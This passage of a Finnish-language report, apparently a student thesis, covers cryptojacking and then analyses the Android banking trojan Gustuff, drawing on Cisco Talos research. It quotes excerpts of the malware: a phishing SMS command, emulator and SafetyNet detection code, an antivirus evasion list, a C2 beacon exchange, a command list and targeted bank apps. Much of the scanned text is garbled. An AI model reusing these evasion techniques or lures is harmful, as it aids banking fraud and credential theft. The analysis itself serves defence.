Alkuaikoina louhinta tapahtui tavallisilla tietokoneilla tai ndytonohjaimilla, mutta ny-
kyaan siina kaytetaan erikoisvalmisteisia mm. kiinalaisen Bitmain yhtion valmistamia
ASIC-laitteita (Application Specific Integrated Circuit). Nama laitteet ja myds muut,

ratkovat vaativaa matemaattista yhtaloa. Sen ratkaistuaan louhija saa tietyn maaran



23

jotakin kryptovaluuttaa kolikoiden muodossa sekd mahdollisuuden lisdta uuden loh-
kon lohkoketjuun. Joka kerta, kun yhtalo saadaan ratkaistua, louhinta aloitetaan yha
uudelleen alusta, kunnes joku taas ratkaisee yhtalon. (Harhakasitykset kryptovaluut-

tojen louhinnasta. N.d.)

4.8 Cryptojacking

Cryptojacking tarkoittaa haitallista kryptovaluutan louhintaa. Se on keino, jolla kayt-
tdjien laitteita kaytetaan ilman heidan lupaansa tai tietoa, kryptovaluutan salaiseen
louhintaan. Tata varten hakkerit kayttavat uhrinsa laitteen resursseja. Cryptojackin-
gin uhriksi joutuneet eivat valttamatta edes huomaa sitd. Useimmat cryptojacking
ohjelmat ovat piilotettuja. Uhrin laitteen resurssien kdyton myota laite voi toimia hi-
taammin kuin yleensa, sahkon kulutus nousee seka laitteen kayttoika lyhenee. (Cryp-

tojacking, N.d.)

Cryptojackingia voidaan suorittaa myos muilla perinteisilla haittaohjelmilla. Sahko-
postiisi voi tulla jokin haitallinen linkki, jota painamalla tietokoneelle latautuu louhin-
takoodi, jonka jalkeen hakkeri voi aloittaa luvattoman louhinnan salaa taustalla.

(Cryptojacking, N.d.)

Drive-by louhinta on myds yksi cryptojacking menetelma. Samoin kuin haitalliset mai-
nontahyodykkeet, drive-by louhinnassa verkkosivulle upotetaan JavaScript koodi,
jonka jalkeen louhinta suoritetaan kayttdjien tietokoneilla, jotka vierailevat sivulla.

(Cryptojacking, N.d.)

Drive-by louhinnan alkuvaiheilla verkkojulkaisijat pyysivat kayttajilta lupaa louhia hei-
dan tietokoneillaan, sen aikaa, kun kayttdja oli heidan sivuillaan. Useimmat drive-by
louhinnan versiot eivat kuitenkaan vaivaudu pyytamaan kayttajan lupaa ja jatkavat
louhintaa vield sen jalkeenkin, kun kayttaja on poistunut sivuilta. Tdma on yleinen

tapa kyseenalaisten sivustojen omistajilla. Kayttajat eivat huomaa sita, ettd heidan
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vierailemansa sivusto on kadyttanyt heidan tietokonettaan kryptovaluutan louhin-
nassa. Louhinta koodi kdyttaa juuri sen verran laiteresursseja, etta se jaa huomaa-

mattomaksi. (Cryptojacking, N.d.)

Drive-by louhinta voi saastuttaa myos Android mobiililaitteen. Se toimii samoilla me-
netelmilla kuin tietokoneissa. Se voi tapahtua, kun laitteelle ladatun sovelluksen si-
saan on piilotettu troijalainen tai kun kayttdjan laite ohjataan saastuneelle sivulle,

joka jattaa jalkeensa sitkean ponnahdusikkunan. (Cryptojacking, N.d.)

5 Mobiilihaittaohjelmat

5.1 Yleista

Kyberrikolliset ovat viime vuosina kohdistaneet hyokkayksiaan yha enemman mobiili-
laitteisiin ja kehittaneet niita varten kadytettavia haittaohjelmia. Niistd useimmissa
kaytetaan hyvaksi troijalaista virusta. Seuraavissa kappaleissa kasitelldan kahta eri
kryptovaluuttojen mobiilihaittaohjelmaa ja muun muassa mita se tekee seka kuinka

se paatyy kayttadjan laitteelle.

5.2 Gustuff

5.2.1 Yleista

Cisco Talos havaitsi kevaalla 2019 Android pohjaisen kampanjan, joka kohdistui Aust-
ralian rahoituslaitoksiin. Tama kampanja oli yhteydessa aikaisempaan ”ChristinaMor-

row” tekstiviestien roskapostiin. (Ventura, V. 2019.)

Taman haittaohjelman tunnistetietojen keruumekanismi ei ollut kovinkaan monimut-
kainen, mutta sitd kompensoi sen edistynyt itsepuolustusmekanismi. Vaikka silla ei
ollut perinteista etdyhteys tydkalua RAT:a (Remote Access Tool), se siitd huolimatta

kohdistui pddasiassa yksityishenkildihin. Tunnistetietojen lisaksi tama haittaohjelma
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pystyi myos varastamaan kayttajien laitteilta yhteystietoluetteloita seka tiedostoja ja

kuvia. (Ventura, V. 2019.)

Haittaohjelman kerdaamien tietojen seka uhrin mobiililaitteen hallinnan avulla sen
operoijat pystyivat suorittamaan monimutkaisempia sosiaalisia manipulointeja. Li-
saksi se oli erittdin sinnikds. C2 palvelimen kaatuessa, sen operoija pystyi jatkamaan

sen hallintaa lahettamalla tekstiviesteja saastuneisiin laitteisiin. (Ventura, V. 2019.)

5.2.2 Kampanja

Taman haittaohjelman ensisijainen tartunnanlevittaja oli tekstiviesti eli SMS (Short
Message Format.) Sen aktivointi sykli sisalsi uhrin osoitekirjan suodatuksen. Kuviossa

1 nakyy C2:lta vastaanotettu levityskomento. (Ventura, V. 2019.)

“results”: "OK",
command®: {
"id": "eEDvLgpaHzfiSragA”,
command”: "sendSmsMass”,
timestamp”: 1554201507585,
"params”: {
sms": |
{
“to": "+61 41 .
body": "Christina Morrow shared an album with you https://facebook-photos-au.su/ChristinaMorrow on Facebook Photos °

to": "+61 47 " .

body " : Christina Morrow shared an album with you https://facebook-photos-au.su/ChristinaMorrow on Facebook Photos

to”: “+61 49 NN

body": "Christina Morrow shared an album with you https://facebook-photos-au.su/ChristinaMorrow on Facebook Photos

to”: “+61 NN

body": "Christina Morrow shared an album with you https://facebook-photos-au.su/ChristinaMorrow on Facebook Photos

to": "+971 52 N .

body": "Christina Morrow shared an album with you https://facebook-photos-au.su/ChristinaMorrow on Faceboock Photos

Kuvio 1. Levityskomento C2:lta (Ventura, V. 2019.)

Uhri vastaanotti komennon SendSMSMass. Tama viesti kohdistui useimmiten 4-5
henkiloon kerralla. Body sisalsi viestin seka osoitteen eli URL:n (Uniform Resource Lo-
cator). Uudet uhrit todenndkdisemmin asensivat haittaohjelman, jos tekstiviesti saa-
pui heidan tuntemaltaan henkil6lta. Kun uhri yritti siirtyd SMS bodyn osoitteeseen,
C2 varmisti, ettd mobiililaite tayttaa kriteerit haittaohjelman vastaanottamiseen.

(Ventura, V. 2019.)
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Taman kampanjan verkkotunnus rekisteroitiin 19.1.2019. Talos kuitenkin huomasi
sen olevan kaytossa jo marraskuussa 2018. Talos havaitsi myos, ettd samaa infra-
struktuuria oli kaytetty muissa samanlaisissa kampanjoissa, joissa kdytettiin saman
haittaohjelman eri versioita. Talos arvioi useisiin tekijoihin perustuen, ettda kampanja
kohdistui Australian rahoituslaitoksiin. Ciscon Umbrella telemetria osoitti, etta suuri
osa pyynnoista ja saastuneista puhelinnumeroista viittasi Australiaan. Sen tietyt over-
layt oli suunniteltu Australian rahoituslaitoksia varten. Myos C2 hyvaksyi juuri Austra-

lian alueen. Kuvio 2 vahvistaa taman. (Ventura, V. 2019.)

0 . 89%

Kuvio 2. Uhrien jakaantuminen (Ventura, V. 2019.)

Vaikka haittaohjelman operoijat levittivat sitd melko aggressiivisesti, saastuneiden
maara ei kuitenkaan kasvanut kovin suureksi. Kampanja itsessaan ei myoskaan kasva-
nut nopeaan tahtiin. Pyyntoja lahetettiin keskimaarin vain 3 per tunti eika sita tehty

kuin vain asennuksen yhteydessa. Tama kdy ilmi kuviossa 3. (Ventura, V. 2019.)
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DNS QUERIES
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Kuvio 3. DNS kyselyiden jakelu (Ventura, V. 2019.)

Kuviossa 4 on esimerkki yhdesta haittaohjelmassa kaytetysta overlaysta. Tutkimuk-
sessaan Cisco Talos 16ysi myds muita haittaohjelma paketteja, joita oli voitu kayttaa

joissakin edellisissa tai tulevissa kampanjoissa. (Ventura, V. 2019.)

Customer ID

Password

Token Code (optional)

Remember my Customer ID

Secure Login

Forgot your password?

Register for Internet Banking

Kuvio 4. Esimerkki overlay haittaohjelmalle (Ventura, V. 2019.)
5.2.3 Haittaohjelman tekniset tiedot
Tutkimuksen edetessa paljastui, etta Cisco Talosin tutkima haittaohjelma oli sama

kuin ”Gustuff” niminen haittaohjelma. Gustuffia oli mainostettu vuokrattavana botti-

verkkona Exploit.in foorumilla. Kuviosta 5 kay ilmi, etta foorumin viestissa mainitut
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yritykset ovat Australiasta. Siind mainitut ominaisuudet vastaavat niita, joita Cisco Ta-

los oli tutkimuksessaan selvittanyt. (Ventura, V. 2019.)

CoobuecTso

Dopym Mpasuna Halua koMaHga Monk3caarenu & cetu Mouck

# MasHaA > Koumepuecine Pagnensl > Mokynkaliponaxa > [BUpyConomA] - malware, 3KCNNONATLL, CBA3KH, A3, KDUITT >

AHApoiAg 60T B apeHgy - Gustuff

AsTop: bestofler, 5 anpens 2018 B [Bupyconorus] - malware, KCnnoiThl, CBA3KK, A3, KpunT

bestoffer Ony6nuKosano: 5 anpensi 2018 (MaMeHeHo

MerabaiT
see Android Bot Gustuff
BoT paboTaeT ¢ 4.x.x M0 8.X.X Bepcuu
L®yHKkymoHan:
1Cmc
Beex BxogsaLme omc no AedhonTy NepejatoTcs B agMUHKy
Yarnexne Ha BepcusX soile 4.4 x+ paboTaeT Yepe3 CMeHy CTaHIAPTHONO NPUNOKEHIS, Yepes 3anpoc
BANNED 2.3soHKMiussd
57 nyGnukal|ai 3.HtMI MHKEKTI,C NOBTOPHBIM 3aMYCKOM B 1 KUK
o C;;"_‘:FE”:” Pa60oTaloT Ha BeeX BepeHsX aHApoiig!
fomomecn, | 4:Sockss
BHPYCONOIMA 5.Bbirpyska thoto ¢ TenedoHa

a)O 6ian-Bbirpyska Bcex (hoTo B YMEHbLUEHOM pasMepe
6)0TAeNbHAR-BbIr Py3KA HYKHOr0 (DOTO B KAYECTBE OPUTMHANA
6.Cmc cnam

a)Cnam No KOHTaKT kHure

B)Cnam no base HOMEPOB.COOPaHHbIX C KOHTAKT KHUT BOTOB
7.Push yBeL0MNEHNA C MKOHKAMM GaHKDE

8. [lnanory ¢ NkoHKkam1 DaHKoB

9.Mepexog no NuHkam 13 Gpaysepa xongepa

10.6nowMposka Tenethora:2 sugal

11.BupTyankHblid Homep

a)Onpegenexue Homepa TenedoHa

6)nepefaua BXOFALMX CMC B 2AMUHKY4EDES BUPTYANbHbIA HOMED
12 Bbirpy3Ka KOHTaKT KHATK

13.MoNHbliA cBPOC Ha 3aBOACKAE HACTPOKM

14 Bec ankoT 800 kb

15.Pe3epEHbIE JOMEHBI

16.AHTHIMYNATOP

ILABTOKPHNT ANk oT FTT,BX0AUT B CTPOUMOCTL apeHpl!
NLWHXeKTbI

1)no AU
com.commbank.nethank
org.westpac.bank
org.stgeorge.bank
au.com.nab mobile
au.comingdirectandroid
au.combankwest mobile
org.banksa.bank
com.anz.android.gomoney
com.citibank mobile au
org.bom.bank

Kuvio 5. Kuvankaappaus Gustuffin mainoksesta (Ventura, V. 2019.)
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Kuviossa 6 nakyy kuvaa Admin paneelista, joka sisaltaa sovelluksen konfiguraation,
mika vastaa C2:n komentoja. Admin paneelin kautta oli mahdollista suodattaa tulok-

sia maan mukaan. (Ventura, V. 2019.)

’ " She g W et

The variable names, and the html filename
matches the commands received from the C2

—

Kuvio 6. Admin paneeli (Ventura, V. 2019.)

Kuviossa 7 nakyy AU, joka viittaa Australiaan, ndin ollen Cisco Talos pystyi suurella

varmuudella vahvistamaan, etta heidan tutkimansa haittaohjelma oli Gustuff. (Ven-

tura, V. 2019.)

Adm # Dashboard B EBots = Records &= Messages M Files Utils €5 Settings
q rarams Y Fiters @M Useful Apps  Backup Al
By country
Allow
Empty

Kuvio 7. Maan valinta (Ventura, V. 2019.)
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Haittaohjelma vaati suuren maaran lupia, joka kdy ilmi kuvion 8 manifestista. Se ei

kuitenkaan tarvitse korkeita oikeuksia laitteelta suorittaakseen sen kaikkia aktiviteet-

teja. (Ventura, V. 2019.)

<uses—permission
<uses—-permission
<uses—permission
<uses—permission
<uses—permission
<uses—permission
<uses—permission
<uses—permission
<uses—permission
<uses—permission
<uses—permission
<uses—permission
<uses—permission
<uses—permission
<uses—permission
<uses—permission
<uses—permission
<uses—permission
<uses—permission
<uses—permission
<uses—-permission
<uses—permission
<uses—permission
<uses—permission
<uses—permission
<uses—permission
<uses—permission
<uses—permission

android:
android:
android:
android:
android:
android:
android:
android:
android:
android:
android:
android:
android:
android:
android:
android:
android:
android:
android:
android:
android:
android:
android:
android:
android:
android:
android:
android:

name="android.
name="android.
name="com.google.android.
name="android.
name="android.

name="android

name="android.
name="android.
name="android.
name="android.

name="android

name="android.
name="android.

name="android

name="android.

name="android

name="android.
name="android.

name="android

name="android.
name="android.
name="android.
name="android.

name="android

name="android

name="android.

permission
permission

permission.
permission.
.permission
permission.
WRITE_SETTINGS"/>
.ACCESS_NETWORK_STATE" />
. AUTHENTICATE_ACCOUNTS" />
.ACCESS_WIFI_STATE"/>

permission
permission
permission

.permission
permission.
permission.
.permission.
permission.
.permission.
permission.
permission.
.permission.
permission.
WRITE_EXTERNAL_STORAGE" />

permission

permission.
permission.
.permission.
name="android.
name="android.

permission

permission.
.permission
permission.

WAKE_LOCK" />
.ACCESS_FINE_LOCATION'" />

c2dm.permission.RECEIVE" />
DISABLE_KEYGUARD" />
READ_SMS" />

WRITE_SMS"/>

USES_POLICY_FORCE_LOCK"/>

CHANGE_WIFI_STATE"/>
INTERNET" />

GET_TASKS" />

VIBRATE" />

VIBRATE" />
RECEIVE_BOOT_COMPLETED" />
BIND_ACCESSIBILITY_SERVICE"/>
READ_CONTACTS" />
READ_PHONE_STATE" />

SYSTEM_ALERT_WINDOW" />
CALL_PHONE" />
CHANGE_NETWORK_STATE" />

+ACCESS_COARSE_LOCATION" />

SEND_SMS" />

WRITE_EXTERNAL_STORAGE" />

RECEIVE_SMS"/>

<uses-feature android:name="android.hardware.wifi" android:required="true"/>
<uses—permission android:name="android.permission.GET_ACCOUNTS"/>

Kuvio 8. Haittaohjelman vaatimat luvat (Ventura, V. 2019.)

Tassa haittaohjelmassa on useita eri puolustuskeinoja C2:ssa seka haittaohjelman

koodissa, jotka on suunniteltu valttamaan paljastuminen seka analysointi (kts. Kuvio

9.) Sen koodi on pakattu ja suunniteltu hamaavaksi. Perusdebuggeri hajoaa paketoi-

jan toimesta. Lisaksi paketoija hankaloittaa staattista analyysia. (Ventura, V. 2019.)
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<activity
android: label="@ref/@x7f060011"
android:name="com. zvozlgawx.vbnwivgkgza.MainActivity"

android:screenOrientation="1"
android:noHistory="true">

<intent-filter>

<action
android:name="android. intent.action.MAIN" | />

<category
android:name="android. intent.category.DEFAULT" />

<category
android:name="android. intent.category.LAUNCHER" />
</intent-filter>
</activity>

Kuvio 9. Manifestin toiminnan ilmoitus (Ventura, V. 2019.)

Kuvion 10 Haittaohjelman DEX tiedoston luokista tarkeimmat on pakattu siten, etta
manifestissa maaritetylla luokalla on oma kasittelija MAIN kategoriaa varten, jota ei

|6ydy DEX tiedostosta. (Ventura, V. 2019.)

\4 IEVE!
> android.support.jxyloexeuh

> com.jxyloexeuh
> com.meinei

Kuvio 10. Dex tiedoston sisaltama luokka lista (Ventura, V. 2019.)

Taman haittaohjelman paketoijan yksi sivuvaikutuksista on se, etta sen koodia ei voi
debugata Android Studio IDE:ll (Integrated Development Environment). Android
Studio IDE ajaa koodin ADB:n (Android Debug Bridge) avulla kutsumalla manifestin
aktiviteettia nimelld. Kuviossa 11 on esitetty yritys debugata haittaohjelmaa kayttaen

Android Studio IDE:&. (Ventura, V. 2019.)
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Kuvio 11. Android Studio IDE virheilmoitus debugatessa (Ventura, V. 2019.)

Yksi haittaohjelman puolustuskeinoista on, etta sen payload tarkistaa, ettei sita yri-
tetd ajaa milladn emulaattorilla kuten esim. QEMU:lla (Quick Emulator.) Jos sita ei
yriteta ajaa emulaattorilla, haittaohjelma suorittaa viela kuvion 12 mukaisia lisatar-

kistuksia, jottei sitd havaita. (Ventura, V. 2019.)

"/dev/socket/genyd", "/dev/socket/baseband_genyd" };
"goldfish" };

"/dev/socket/qemud", "/dev/gemu_pipe" };
"ueventd.android_x86.rc", "x86.prop", "ueventd.ttVM_x86.rc",
"fstab.andy", "ueventd.andy.rc" };

"fstab.nox", "init.nox.rc", "ueventd.nox.rc" };

private static final String[]
private static final String[]
private static final String[]
private static final String[]
private static final Stringl[]
private static final Stringl[]
private static final j[] j;
private final Context k;
private boolean 1 = false;
private boolean m = false;
private boolean n = true;
private List<String> o = new ArrayList();

H-TQ —h0D
o e e

static

{
j[l array0fj = new j[15];
array0fj[@] = new j("init.svc.gemud", null);
array0fj[1] = new j("init.svc.gemu-props", null);
array0fj[2] = new j('gemu.hw.mainkeys", null);
array0fj[3] = new j("qemu.sf.fake_camera", null);
array0fj[4] = new j("gemu.sf.lcd_density", null);
array0fj[5] = new j("ro.bootloader", "unknown");
array0fj[6] = new j('ro.bootmode", "unknown");
array0fj[7] = new j("ro.hardware", "goldfish");
array0fj[8] = new j("ro.kernel.android.gemud", null);
array0fj[9] = new j("ro.kernel.gemu.gles", null);
array0fj[10] = new j("ro.kernel.gemu", "1");
array0fj[11] = new j("ro.product.device", "generic");
array0fj[12] = new j("ro.product.model", "sdk");
array0fj[13] = new j("ro.product.name", "sdk");
array0fj[14] = new j("ro.serialno", null);
j = array0fj;

private e(Context paramContext)

{
this.k = paramContext;
this.o.add("com.google.android. launcher. layouts.genymotion™);
this.o.add("com.bluestacks");
this.o.add("com.bignox.app");

Kuvio 12. Emulaattorien tarkistuskoodi (Ventura, V. 2019.)

Lisdksi payload tarkistaa ja ilmoittaa C2:lle, jos Android SafetyNet on kdytossd. Taman
tiedon avulla C2 voi maaritelld, mita kaikkea se voi tehda ennen kuin se huomataan.

Kuviossa 13 on koodi, jolla SafetyNetin olemassaolo tarkistetaan. (Ventura, V. 2019.)
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/* renamed from: a */
public final void mo2277a(Context context) {
C0332d.m1074b(context, "context");
try {
C1058a.f2244a.mo2158a( "update" );
Object a = C0903c.m2665a(context);
C0332d.m1071a(a, "SafetyNet.getClient(context)");
a.mo1918e( ).mo1933a(C1073b.f2369a);
} catch (Exception e) {
C1058a.f2244a.mo2158a( "exception");
C1188a.m3743b(e, "SafetyNet is not Available", new Object[0]);

Kuvio 13. Koodi SafetyNetin tarkistamiseksi (Ventura, V. 2019.)

Haittaohjelman payload tarkistaa myds, onko mobiililaitteelle asennettu virustorjun-
taohjelmaa (kts. Kuvio 14.) Androidin esteettomyys API:n (Application Programming
Interface) avulla torjutaan kayttajan ja mobiililaitteen valinen vuorovaikutus. Vuoro-
vaikutuksen yhteydessa haittaohjelma tarkistaa, onko aiheuttaja paketti, joka kuuluu
virustorjunta listaan. Jos ndin on, haittaohjelma hyvaksikayttaa esteettomyys APl:n
ominaisuutta, toimintoa nimelta performGlobalAction. Androidin mukaan tama toi-
minto pystytdaan suorittamaan milloin tahansa, rilppumatta sen hetkisesta sovelluk-
sesta tai kayttdjan sijainnista sovelluksessa. Esim. kotivalikkoon siirtyminen tai viimei-

simman sovelluksen avaus. (Ventura, V. 2019.)

private static final Set<String> ¢ = u.alfObject{])new Stringll{"com.avast.android.mobilesecurity",

“com. avast.android.batterysaver”, “cos,avast.android.passwordsanager”, “com.avast.android.cleaner”, “com,atvcleaner”,
"com,.digibites.accubattery™, “com, lionmobi.battery™, “ch.ssalltech.battery,free”, “com,samsung,android.lool™, “com,sec.pow”,
“com.antivirus®, “org.antivirus", “"com.zrgiu.antivirus®, “com.ngecbile.battery™, “com.dionxinos.dxbs",
"com.noxgroup.app.cleaner”, “com, lionmobi.powerclean", “com.lm,powersecurity", “com.cleanmaster.mguard™,
“com,dianxinos.optimizer.duplay”, “com.lionmobi.netmaster”, “com.darshancomputing.BatteryIndicator”, “com.antivirus.tasblet”,
“com.avira.android”, “com.avira.optimizer™, “"coa.a®soft.gphone.aDatadn0ff", “com.avira.homeapp™, “com.kas.free”,

“com, kas.me™, “com, kaspersky.batterysaver®, “com.kaspersky,kes”, “com.kaspersky,iot.scanner”, “com.bitdefender,antivirus®™,
“com.bitdefender, security”, “coa.bitdefender.centralmgat™, “com.bitdefender.parentaladvisor”, “com.bitdefender.wifibox™,
“com,.bitdefender, agent”, “com.symantec.mobilesecurity™, “com.symontec.mobile.idsafe™, “com.symantec.familysafety",
“com.nitrodesk.honey.nitroid®, “com.sysantec.norton.snap™, “com.sophos.sasec”, “com.sophos.appprotectionmonitor”™,

"com,. sophos.mobilecontrol,. client.android”, “com.sophos.ssenc™, “com,sopbos.sse™,

“com. sophos.mobilecontrol,. client.androld. plugin, lggate”, “com, sophos.mcbilecontrol,.client.androtd. plugin, samsung”,

“com, sophos.sanfc™, “com.cleanmaster.security"”, “com.wsandroid.suite™, “com.psafe.msuite", “com,qihoo.security"”,
“com.cmsecurity. Lite™, “com.drweb", “com.drweb.mcc™, “com.eset.ems2.gp”, "com.cset.stagefrightdetector™, “com.eset.avtest™,
“com, lookout", “com, lookout.net™, “com.lookout.stagefrightdetector™, “com,lookout.enterprise”,

“com, lookout, heartbleeddetector”, "org.salwarebytes.antisalvare™, “com.trendmicro, temspersonal”,

"com. trendmicro. tamssuite.mda™, “com,trendaicro.homenetworkscanner™, “com,trendsicro.virdroigs”,

"me.doubledutch, trendaicrogps™, “com.trendmicro.vmi. resotepush™, “com.trendmicro.safesyncdbiz™,

"com.mcafee. security.safefamily”, “com.acafee.batteryoptimizer™, “com.mcafec.endpointassist”, “com.mcafee.personallocker™,
"com.mcafee.mvision”, “com.mcafee.mai", “com.mcafee.apps.easmail”, "com.wsandroid.suite™, “com.wsandroid.suite.tmobile™,
"com. trustgo.mobile. security”, “com.ijinshan.kbatterydoctor_en", “cos.macropinch.pearl”, “com.goso,battery™,
“com,a0soft.gphone.abataln0f ™)) ;

Kuvio 14. Lista tarkistettavista virustorjunta paketeista (Ventura, V. 2019.)
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Troijalainen kutsuu tata toiminnolla GLOBAL _ACTION_BACK, joka vastaa takaisin na-
pin painallusta mobiililaitteella, joka taas peruuttaa virustorjuntaohjelman kaynnis-
tyksen. Talla samalla menetelmalla asetetaan myos verkkonakyman overlay, kun

kayttaja avaa jonkin kohdistetun sovelluksen. (Ventura, V. 2019.)

Aiemmin mainitut tarkistukset, kuten SafetyNet, lahetetdan valittomasti C2:lle. Bea-
coning lahetetdan 60 sekunnin valein URL:iin http://<SERVER>/api/v2/get.php. (Ven-
tura, V. 2019.)

C2 hyvaksyy komentoja vain, jos valittu maa vastaa kohteena olevaa maata, muulloin
se antaa vastauksen Unauthorized eli luvaton, joka nakyy kuviossa 15. Valitun maan
ollessa kohteena oleva, C2 |dhettda JSON (JavaScript Object Notation) koodatun OK
viestin ja komento voidaan ajaa. C2:lta ei saada kuitenkaan yhtdakaan komentoa, en-
nen kuin InactiveTime kentan arvo on vahintaan 2000000. Se resetoituu jokaisen

kayttdjan toiminnon jalkeen. (Ventura, V. 2019.)

POST /api/v2/get.php HTTP/1.1 HTTP/1.1 401 Unauthorized

id: 42fde3aa-0lbe-4296-ba04-3fl9efl7cafe " Server: nginx/1.10.3 (Ubuntu)
token: 5ftgvbhiygftygolrfvyvs7ftiguvybd Date: Mon, 01 Apr 2019 10:20:19 GMT
cell: Content-Type: application/json
country: pt Connection: close
Content-Type: application/json; charset=utf-8 cache-control: no-cache, no-store, must-revalidate
content-Length: 732 pragma: no-cache
Host: 78.46.201.36 expires: 0
Connection: close access-control-allow-origin: *
Accept-Encoding: gzip, deflate access-control-allow-headers: Origin, X-Requested-With
User-Agent: okhttp/3.10.0 Content-Type, Accept
Vary: Accept-Encoding
{"data":{"info":{"android":"6.0.1","cell":"", "country":"", "imei":"353307063481800 Content-Length: 73
","advertisementId":"5010028e-b9c6-4cf4-a25e-37e68aBc2ed6"}, "state”:{"admin": fals
e, "source”:"PingService", "needPermissions”:true,"accesByName":false,"accesByServi {
ce":false, "acces":false, "safetyNet":"disabled", "defaultSmsApp":"com.android.messa "status": "error",
ging","isDefaultSmsApp":false, "dateTime":"2019-04-01T11:152", "interactive":true," "message”: "You must be logged in to do this."
interactiveTime":0, "batteryLevel"”:42},"socks":{"id":"23d86£f89-8aa9-40c4-ad60-e6dd }
lcebd744", "enabled": false, "active":false}, "version":{"packageName": "com.zvozlgawx
.vbnwjvgkgza", "versionName":"4.6.9", "versionCode":469, "lastUpdateTime":1554111978
117,"tag":"flash469-1", "targetSdkversion":22, "buildConfigTimestamp":1545155563181
bh}

Kuvio 15. C2:n vastaus (Ventura, V. 2019.)

Kaikki komennot annetaan vastauksena beaconingille ja tulos lahetetdaan URL:iin
http://<SERVER>/api/v2/set_state.php. Komennot annetaan JSON muodossa, pak-
kaaja ei lisaa haittaohjelma koodin hamaavaa osaa. Himaava osa perustuu osin
base85 koodaukseen, jota kdytetdan yleensa esim. pdf dokumenteissa. Kuviossa 16

nakyy lista kdytetyistd komennoista. (Ventura, V. 2019.)
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static {

new a(null);

a((a)a, (String)"forwardStart");
a((a)a, (String)"forwardStop");
a((a)a, (String)"ussdRun");
a((a)a, (String)"sendSms");
a((a)a, (String)"sendSmsAb");
a((a)a, (String)"sendSmsMass");
a((a)a, (String)"changeServer");
a((a)a, (String)"adminNumber");
a((a)a, (String)"changeActivity");
a((a)a, (String)"activityStart");
a((a)a, (String)"activityStop");
a((a)a, (String)"updateInfo");
a((a)a, (String)"block");

a((a)a, (String)"dialogStart");
a((a)a, (String)"dialogStop");
a((a)a, (String)"notification");
a((a)a, (String)"alert");

a((a)a, (String)"wipeData");
a((a)a, (String)"socksStart");
a((a)a, (String)"socksStop");
a((a)a, (String)"openLink");
a((a)a, (String)"restart");
a((a)a, (String)"uploadAllSms");
a((a)a, (String)"uploadAllPhotos");
a((a)a, (String)"uploadFIle");
a((a)a, (String)"uploadPhoneNumbers");
a((a)a, (String)"changeArchive");
a((a)a, (String)"changeApp");
a((a)a, (String)"acces");

a((a)a, (String)"accesActions");
a((a)a, (String)"actions");
.a((a)a, (String)"params");
a.a((a)a, (String)"test");
a.a((a)a, (String)"download");
a.al((a)a, (String)"remove");
a.a((a)a, (String)"checkApps");
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Kuvio 16. Lista kaytettavista komennoista (Ventura, V. 2019.)

5.2.5 Aktivointi

Hamaysten ja ympariston tarkistusten lisaksi haittaohjelmalla on myés muutamia
sandboxien vastaisia mekanismeja. Haittaohjelman asennuksen ja kdynnistyksen jal-
keen, kayttajan taytyy painaa ”sulje” nappia asennuksen loppuunsaattamiseksi. Tama
ei kuitenkaan sulje sitd, vaan se toimii yha taustalla. Kun sovelluksen poistaa taus-

talta, se pysahtyy ja beaconing alkaa. (Ventura, V. 2019.)

Haittaohjelma aktivoituu tarkistusten jalkeen, jonka jalkeen se kdy lapi 7 eri vaihetta:

1. uploadPhoneNumbers: Tama komento anastaa kaikki yhteystietoluettelon
puhelinnumerot, lukuun ottamatta omistajien nimiin liittyvdaa puhelinnume-
roiden luonnollista arvoa. Toinen anastuksen vaihtoehto on kayttaa teksti-
viestia ensisijaisen tartunnan valineena. Yhteystietoluettelon anastuksen tar-
koituksena on hyokata muihin uhreihin, jotka kayttavat tekstiviestia tartunta

valineena.
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2. CheckApps: Talla tiedustellaan, onko parametreiksi merkityt paketit asen-

nettu. Naita paketteja on yhteensa 209 (kts. Kuvio 17.) Ne on koodattu haitta-

ohjelman Iahdekoodiin.

Teom. andro . vending” , H0g. s LA Bask™ 0G4 000r e, bank™, "org. banksa. bank™, arg. bom bask™ " com, aes . sadradd, pomoney™, " Con.ans, aedrole”, “ae. con. s bl le”,
LR CAT IR, 000 L Te. ", T, Com, LnQElrect  androLa”, " s Con, Banen it ot Lt T Con, WOunh. SRRerme IRk 10g" , C 20, COB. LN TR SURCTpienh ™, TCom. Commbant , Aathanh "
O N S 1Y AN AT T O, AT T e L (g T Cam, et v L L T gt 3 e S 00m, 0 L LTI L L™ T omm, by Loy, (o 1101000 " (0n, IATonaw. W fa"
comscrganatanley. clienteohile, prod™, "con Aliu, MECHE 3008 Laaok Ing™, "Con. wuas. 5cb L Le. andre bd. waaa™, “con. schwad, mobt Le”,

FCRL T AP S B A, SCCTIVERL W T CON, PAC, eCOMNErTe, BB L L™, T Com, reg Lone , scbank Ing™ "o, ¢ Latrmad L 1V UCon, grpe L andra Lo, s L L BOS"  “com, 1abana”
TR AL AT W SO, T LEOR Banh , aadl r L™ , ", s hanh , mod | Letanh Lag ™, = 0on, 51 Ly Subd belanh Lag™, “Coe. bey, andre 0™,

TCOB, U S0n0anh., eCORRe O BOB L Le. androd 87, " com, mf ovndy . mb, andro L. sb_INORET 3294417, T con. bRt . CRo LT, TCom. Savere Son. et ander”

SCON0CY, DA LA 45, Fatal L. prodt, “con. FERTE), GOCougn®, " Cae. CArc Le, andrpid™ "o L. 0wk, "Bl pa d, ATOMa 1 1t 0ank™ , "y, e leader . med L Letunk ng. brv*

TPLLASS000 . Mpremat anden b, 000, BIE" TR ASSO0N, Ml 0N A 1o . 0 Be M, o L st amewst 0 L, piade 1he” “p L, 1oke, el Le®, tp L et Lige. mebi e,

"plophaly. ipAch LInes”, 21, com, Lot ech. mobi Leconmnct™, " Con. Svaind, vic. andradd. Brweh_mobile. apg™, "ol Brvbh. Ib120es24™, TPl bowh. AowtadT,

TP baet, 300 | e, 10, BAvBAIE" , “Com. COMPON, MO0 L i, Lavestaent™, “Com, Conarch, sob | Le, Bank ing. Byatagpar (Ban. bianes™, “s L, bapbaipar ihas. fLrmepe™,

TCn. AL, T LA, e, " Lo v A DIEbene™, TOom., Gt ANgroud, Mob L Labash 1ag™, TAT, SE1aC. 0000 LA, MLONRA, St A" "o L gel Inleas 1ag. mob i LeT,

Toom. L0 SLats, Qe inee™ "3 L. 1ng. moJeing”, "o, 1. mebi 1eT, T 0o, ConerChunobl Le, tyventaeet . 1", Tcom. Iogchsobl te. chportal®,

O O TN S Ly L L g™ TN g TGRS L, T, @ Landny  mah d Latanh Lng. peban, FLrw", Teu. o Lande s man  Lebaek Lag. peban™ S 1o e, prkar, pove rpayt
